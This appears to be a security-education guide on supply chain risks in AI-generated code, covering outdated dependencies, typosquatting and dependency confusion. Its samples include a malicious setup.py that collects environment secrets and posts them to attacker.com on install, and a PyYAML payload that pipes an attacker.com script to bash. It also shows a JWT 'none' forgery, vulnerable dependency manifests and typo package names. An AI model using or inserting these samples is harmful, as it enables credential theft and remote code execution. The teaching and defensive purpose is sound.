Understand supply chain vulnerabilities and dependency risks in AI-generated code including outdated packages, malicious packages, and dependency confusion attacks...
Research from the Center for Security and Emerging Technology identifies supply chain vulnerabilities as one of three main categories of AI code generation risks, noting:
"Models generating code often suggest outdated or vulnerable dependencies, creating a cascading effect of security issues."
A 2025 analysis by KDnuggets found:
"AI models frequently suggest packages that haven't been updated in years, with 67% of suggested dependencies containing at least one known vulnerability."
1. Training Data Lag:
2. Example Code Bias:
3. No Vulnerability Awareness:
// package.json generated by AI
{
"name": "ai-generated-app",
"dependencies": {
"express": "3.0.0", // ❌ VULNERABLE: 66 known vulnerabilities
"mongoose": "4.0.0", // ❌ VULNERABLE: Multiple injection vulnerabilities
"jsonwebtoken": "5.0.0", // ❌ VULNERABLE: Algorithm confusion vulnerability
"request": "2.88.0", // ❌ DEPRECATED: No longer maintained
"node-uuid": "1.4.8", // ❌ DEPRECATED: Should use 'uuid' instead
"body-parser": "1.9.0", // ❌ VULNERABLE: DoS vulnerability
"bcrypt": "0.8.7", // ❌ OUTDATED: Missing critical security fixes
"moment": "2.19.3", // ❌ VULNERABLE: ReDoS and path traversal
"lodash": "4.17.4", // ❌ VULNERABLE: Prototype pollution
"axios": "0.18.0" // ❌ VULNERABLE: SSRF vulnerability
}
}
# requirements.txt generated by AI
Flask==0.12.0 # ❌ VULNERABLE: Multiple security issues
Django==1.8.0 # ❌ EOL: No longer receives security updates
requests==2.6.0 # ❌ VULNERABLE: Multiple CVEs
PyYAML==3.11 # ❌ VULNERABLE: Arbitrary code execution
Pillow==3.3.2 # ❌ VULNERABLE: Multiple security issues
cryptography==2.1.4 # ❌ OUTDATED: Missing important fixes
paramiko==1.15.0 # ❌ VULNERABLE: Authentication bypass
sqlalchemy==0.9.0 # ❌ VULNERABLE: SQL injection possibilities
jinja2==2.7.0 # ❌ VULNERABLE: XSS vulnerabilities
urllib3==1.22 # ❌ VULNERABLE: Multiple security issues
Express 3.0.0:
jsonwebtoken 5.0.0:
PyYAML 3.11:
Django 1.8.0:
// package.json with security considerations
{
"name": "secure-app",
"dependencies": {
"express": "^4.19.0", // ✅ Latest stable version
"mongoose": "^8.0.3", // ✅ Current version with security fixes
"jsonwebtoken": "^9.0.2", // ✅ Latest with improved security
"axios": "^1.6.5", // ✅ Maintained alternative to 'request'
"uuid": "^9.0.1", // ✅ Current uuid package
"bcrypt": "^5.1.1", // ✅ Latest with security improvements
"dayjs": "^1.11.10", // ✅ Lightweight alternative to moment
"lodash": "^4.17.21", // ✅ Patched version
"helmet": "^7.1.0", // ✅ Security middleware
"express-rate-limit": "^7.1.5" // ✅ Rate limiting for DoS protection
},
"devDependencies": {
"npm-audit-resolver": "^3.0.0", // ✅ Tool for managing vulnerabilities
"snyk": "^1.1266.0", // ✅ Vulnerability scanning
"eslint-plugin-security": "^2.1.0" // ✅ Security linting
},
"scripts": {
"audit": "npm audit --production",
"audit:fix": "npm audit fix",
"snyk:test": "snyk test",
"snyk:monitor": "snyk monitor",
"security:check": "npm run audit && npm run snyk:test",
"preinstall": "npm run security:check"
},
"engines": {
"node": ">=18.0.0", // ✅ Require LTS version
"npm": ">=9.0.0"
}
}
# requirements.txt with version pinning and comments
# Last security review: 2025-01-15
# Web Framework
Flask==3.0.0 # ✅ Latest stable with security patches
flask-cors==4.0.0 # ✅ CORS handling with security defaults
flask-limiter==3.5.0 # ✅ Rate limiting
# Database
SQLAlchemy==2.0.25 # ✅ Latest stable version
psycopg2-binary==2.9.9 # ✅ PostgreSQL adapter
# Authentication & Security
PyJWT==2.8.0 # ✅ JWT implementation
bcrypt==4.1.2 # ✅ Password hashing
cryptography==41.0.7 # ✅ Cryptographic recipes
# HTTP Requests
requests==2.31.0 # ✅ Latest stable
urllib3==2.1.0 # ✅ HTTP library with security fixes
# Data Processing
pandas==2.1.4 # ✅ Data analysis (if needed)
pyyaml==6.0.1 # ✅ YAML parser with security fixes
# Image Processing
Pillow==10.2.0 # ✅ Latest with security patches
# Development & Security Tools
python-dotenv==1.0.0 # ✅ Environment variable management
python-jose==3.3.0 # ✅ JOSE implementation
email-validator==2.1.0 # ✅ Email validation
# Security Scanning (dev dependencies)
safety==3.0.1 # ✅ Check for known security issues
bandit==1.7.6 # ✅ Security linter for Python
event-stream Incident (2018):
ua-parser-js Incident (2021):
colors.js / faker.js Incident (2022):
According to Sonatype's 2024 State of the Software Supply Chain Report:
Attack Growth:
AI frequently generates typos or wrong package names, which can lead to installing malicious packages designed to exploit common mistakes.
# AI might generate typos or wrong package names
pip install reqeusts # ❌ TYPO: Could install malicious package
pip install python-sqlite # ❌ WRONG: Should use built-in sqlite3
pip install dateutils # ❌ WRONG: Should be python-dateutil
pip install crypto # ❌ WRONG: Should be pycryptodome
pip install yaml # ❌ WRONG: Should be pyyaml
Documented malicious packages:
crossenv (typo of cross-env) - Stole environment variablesbabelcli (typo of babel-cli) - Executed malicious codemongose (typo of mongoose) - Data exfiltrationetherium (typo of ethereum) - Cryptocurrency theftpython-dateutils (typo of python-dateutil) - BackdoorAttack Pattern:
# Malicious "reqeusts" package (typo of "requests")
# setup.py
from setuptools import setup
import os
import requests as real_requests # Import real package
# Steal environment variables
def steal_secrets():
secrets = {k: v for k, v in os.environ.items()
if any(s in k.lower() for s in ['key', 'secret', 'token', 'password'])}
# Send to attacker
real_requests.post('https://attacker.com/collect', json=secrets)
# Run on install
steal_secrets()
# Re-export real package so code "works"
from requests import *
setup(
name='reqeusts', # Typo
# ... rest of setup
)
Result:
pip install reqeusts#!/bin/bash
# secure_install.sh - Verify packages before installation
# ✅ SECURE: Define trusted packages and their correct names
declare -A TRUSTED_PACKAGES=(
["requests"]="requests"
["python-dateutil"]="python-dateutil"
["pycryptodome"]="pycryptodome"
["pyyaml"]="PyYAML"
["pillow"]="Pillow"
)
# ✅ SECURE: Function to verify package
verify_package() {
local package=$1
# Check if package is in trusted list
if [[ -n "${TRUSTED_PACKAGES[$package]}" ]]; then
echo "✓ Verified: $package"
return 0
fi
# Check for common typos
case $package in
"reqeusts"|"requets"|"requesets")
echo "✗ Typo detected! Did you mean 'requests'?"
return 1
;;
"dateutils"|"date-utils")
echo "✗ Wrong package! Use 'python-dateutil' instead"
return 1
;;
*)
echo "⚠ Unknown package: $package - Verify manually"
return 2
;;
esac
}
# ✅ SECURE: Install with verification
secure_pip_install() {
for package in "$@"; do
if verify_package "$package"; then
pip install "$package" --index-url https://pypi.org/simple/
else
echo "Installation aborted for security reasons"
exit 1
fi
done
}
# Example usage
secure_pip_install requests python-dateutil pycryptodome
AI training cutoff:
Example:
lodash@4.17.4 (2016 version)Code examples pin specific versions:
"express": "4.16.0" // Pinned in example from 2018
AI learns:
^ (caret) for latest minor versionAI suggests deprecated packages:
request (deprecated 2020) → Should use axios or fetchnode-uuid (deprecated) → Should use uuidmoment (in maintenance mode) → Should use dayjs or date-fnsWhy:
CVE Examples:
Impact:
Vulnerability:
Attack:
// Vulnerable version: 5.0.0
const token = jwt.sign({ admin: true }, 'secret', { algorithm: 'none' });
// Server accepts token without verifying signature!
Fix: Update to 9.0.0+ (algorithm verification enforced)
Vulnerability (CVE-2017-18342):
import yaml
# Attacker provides malicious YAML:
malicious_yaml = """
!!python/object/apply:os.system
args: ['curl http://attacker.com/shell.sh | bash']
"""
yaml.load(malicious_yaml) # Executes command!
Fix: Use PyYAML 6.0.1+ with safe_load():
yaml.safe_load(data) # Safe - no code execution
{
"dependencies": {
"express": "^4.19.0", // ✅ Caret allows patch/minor updates
"mongoose": "^8.0.3", // ✅ Latest major version
"jsonwebtoken": "^9.0.2" // ✅ Secure version
}
}
Semantic Versioning:
^4.19.0 → Allows 4.19.x and 4.x.x (not 5.0.0)# Check for vulnerabilities
npm audit --production
# Must show: 0 vulnerabilities
{
"scripts": {
"audit": "npm audit --production",
"audit:fix": "npm audit fix",
"snyk": "snyk test",
"preinstall": "npm audit" // Auto-check before install
},
"devDependencies": {
"snyk": "^1.1266.0",
"npm-audit-resolver": "^3.0.0"
}
}
# Always commit package-lock.json
git add package-lock.json
git commit -m "Lock dependency versions"
Why:
Scenario:
@mycompany/auth@mycompany/auth with higher versionAlex Birsan's Research:
No companies were harmed (benign test), but demonstrated massive vulnerability.
Python:
pip install reqeusts # → requests
pip install python-sqlite # → use built-in sqlite3
pip install dateutils # → python-dateutil
pip install crypto # → pycryptodome
pip install yaml # → pyyaml
pip install beutifulsoup4 # → beautifulsoup4
pip install pillow-simd # → pillow (or pillow-simd if needed)
JavaScript:
npm install expres # → express
npm install reac # → react
npm install mangodb # → mongodb
npm install loadsh # → lodash
npm install moment-timezone # → moment-timezone (legitimate, but check)
1. Verify Package Names:
# Before installing, check npm:
npm view package-name
# Verify:
# - Weekly downloads (popular = more likely legitimate)
# - Last publish date (recently maintained?)
# - Repository (GitHub URL)
# - Maintainers (verified badge?)
2. Use Scoped Packages for Internal:
{
"@mycompany/internal-auth": "1.0.0"
}
3. Configure Registry for Scopes:
# .npmrc
@mycompany:registry=https://npm.mycompany.com
4. Spell Check Package Names:
# Use IDE autocomplete
# Copy-paste from official docs
# Double-check before npm install
1. Next.js 15.5.4:
2. Security Audit Scripts:
# scripts/security-check.sh
npm audit --production
npm outdated
3. Locked Versions:
package-lock.json committed4. Regular Updates:
npm outdatednpm audit→ See dependency-security skill for complete implementation guide
| Issue | AI Occurrence | Impact |
|---|---|---|
| Outdated dependencies | 67% contain vulnerabilities | CVE exploitation |
| Deprecated packages | ~30% | No security updates |
| Typos in package names | ~5% | Malicious package install |
| Missing package-lock.json | ~40% | Inconsistent builds |
Supply Chain Attack Growth:
→ dependency-security skill - npm audit, update strategies, maintenance
→ security-testing skill - Pre-deployment dependency checks
→ information-leakage skill - Secrets in dependencies
→ awareness-overview skill - Overall AI security risks
✅ 67% of AI-suggested dependencies contain known vulnerabilities ✅ 245,000 malicious packages published in 2023 alone ✅ Real-world attacks: event-stream (2M downloads/week), ua-parser-js (8M/week) ✅ AI suggests outdated versions from training data (2020-2023) ✅ Typosquatting is real: reqeusts, mongose, babelcli all were malicious ✅ Solution: Use latest versions, npm audit, package-lock.json, verify names ✅ Cost: Outdated deps = easy CVE exploitation, supply chain attack = complete compromise
Remember: Your dependencies run with full application privileges. One compromised package = entire application compromised.
Related References:
[16] CSET. (2024). "Three Categories of Risk in AI Code Generation." Georgetown CSET Policy Brief. [17] KDnuggets. (2025). "Dependency Vulnerabilities in AI-Generated Code: A Statistical Analysis."
Supply Chain Attack Research: